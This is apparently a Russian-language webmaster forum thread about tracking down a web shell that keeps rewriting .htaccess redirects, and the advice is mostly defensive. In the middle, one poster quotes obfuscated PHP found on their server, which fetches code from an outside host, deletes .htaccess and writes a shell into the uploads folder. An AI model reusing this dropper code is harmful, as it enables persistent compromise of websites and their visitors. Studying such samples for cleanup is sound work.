Как вычислить шелл?

rewiaca может обратитесь в саппорт хостинга, чтоб просканирвоали файлы ваших сайтов на вирусы.

Шелл не спалится антивирусной проверкой.

ТС, как вариант - просмотрите файлы по дате изменения, найдите свежие.

А оптимально - переустановите движок, правильно расставив права и поставив владельца, чтобы нельзя было изменить файлы и права.

У меня подозрение что шелл не лежит на самом каталоге домена, но я проверю, надо запретить выполнение всех php скриптов в htaccess, и если он всеравно измениться то точно не в /www/

Только если там не такое расширение исполняемого скрипта?

Хостинг hostlife, говорят: "найдите вебместера квалифицированного"

Что-то мне подсказывает, что у Вас апач под рутом работает, или у хацкеров есть рут-доступ.

Обычно дату меняют (если хостер не запретил или прав хватает - touch).

Очень часто ломают хостера. Поэтому в первую очередь вопросы хостеру.

А там - либо съезжайте, либо сами мониторте и заменяйте обратно. Но только зачем?

Не помогло, даже при:

RewriteEngine Off
php_flag engine 0
AddType "text/html" .php .php3

к htaccess добавляются строки редиректов. Значит ли это что шелл лежит в системных файлах? Можно ли отловить какой скрипт обращается к htaccess?

У меня подобное было. В одном из файле было вот что

$f = file_get_contents('h'.'t'.'t'.'p'.':'.'//'.'s'.'c'.'a'.'r'.'y'.'f'.'i'.'l'.'m'.'.'.'ru'.'/get.'.'p'.'hp'.'?url='.$_SERVER['HTTP_HOST']).unlink(ROOT_DIR.'/'.'u'.'p'.'l'.'o'.'a'.'d'.'s'.'/.htaccess');



file_put_contents(ROOT_DIR.'/'.'u'.'p'.'l'.'o'.'a'.'d'.'s'.'/'.'f'.'ot'.'os'.'/pe'.'op'.'le'.'.p'.'hp', str_replace('fghfgh544ty', '?>', str_replace('fgfvsdffvsdvsd', '<?', $f)));

После выполнения удалялся автоматом .htaccess и снова заливался шелл🙅

Ох, с утра сижу, борюсь.

В общем оцените идею: переношу каждый сайт на отдельного пользователя в ISP, чищу htaccess и он больше не меняется. Процедура довольно геморная но что делать..

Думаю что так можно выявить сайт на котором стоит шел, меняющий htaccess на всех файлах, и удалить его.

Была уязвимость timthumb.php в Wordpress, через него был загружен hack.zip. Нашел сайт через который все было проделано, вычислил и все нормализовалось. Спасибо человеку, который откликнуля и написал в личку - Samvel, /ru/users/74883

Шеел в последнее время очень качественно вставляют в сами иполняемые файлы, в любом случае есть был шелл нуно искать на всех сайта вашего хоста!

Если нужна помощь стучите!